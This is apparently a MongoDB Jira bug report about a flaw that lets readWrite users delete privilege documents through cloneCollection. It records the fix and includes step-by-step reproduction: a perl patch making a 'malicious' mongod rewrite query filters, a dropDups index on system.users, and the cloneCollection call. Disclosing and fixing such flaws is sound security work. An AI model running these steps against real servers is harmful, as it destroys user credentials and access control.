[SERVER-8942] readWrite users can delete privilege documents via cloneCollection Created: 11/Mar/13  Updated: 11/Jul/16  Resolved: 15/Oct/13

Status: Closed
Project: Core Server
Component/s: Security
Affects Version/s: 2.4.0-rc2
Fix Version/s: 2.5.3

Type: Bug Priority: Major - P3
Reporter: J Rassi Assignee: Andy Schwerin
Resolution: Done Votes: 0
Labels: None
Remaining Estimate: Not Specified
Time Spent: Not Specified
Original Estimate: Not Specified

Issue Links:
Depends
depends on SERVER-1105 access control per collection Closed
Related
Operating System: ALL
Participants:

 Description   

Running the command {cloneCollection:ns} creates indexes on ns, inserting one document for each result returned from the remote query db.system.indexes.find({ns:ns}). However, no input sanitization is performed to ensure that the returned index documents actually conform to the requested filter. A readWrite attacker can exploit this by instructing a remote machine to return false results, in order to create arbitrary indexes of his/her choosing on the target database. The attacker can combine this with the secondary weakness described in SERVER-8802 (creating a dropDups system.users index) to delete privilege documents.

The proposed fix is to sanitize the result of db.system.indexes.find({ns:ns}) query, to ensure that doc.ns == ns for each item in the result set.

Reproduce via:

1. Instrument remote malicious mongod to replace every incoming query filter with {name: "exploit_1"}.

perl -pi -e 's/^(        QueryMessage q\(d\);)$/\1 q.query = BSON\("name" << "exploit_1"\);/' src/mongo/db/instance.cpp
scons mongod
./mongod

2. Create index on remote malicious mongod

db.system.users.ensureIndex({exploit:1}, {name:"exploit_1", unique:true, dropDups:true})

3. Run cloneCollection on victim mongod; victim mongod blindly inserts above index document and consequently drops N-1 privilege documents from test

db.adminCommand({cloneCollection:"test.collection", from:"malicious:27017"}



 Comments   
Comment by Andy Schwerin [ 15/Oct/13 ]

Fixed by SERVER-1105, collection-level access control. Should be QA'd as part of that.

Generated at Thu Feb 08 03:18:53 UTC 2024 using Jira 9.7.1#970001-sha1:2222b88b221c4928ef0de3161136cc90c8356a66.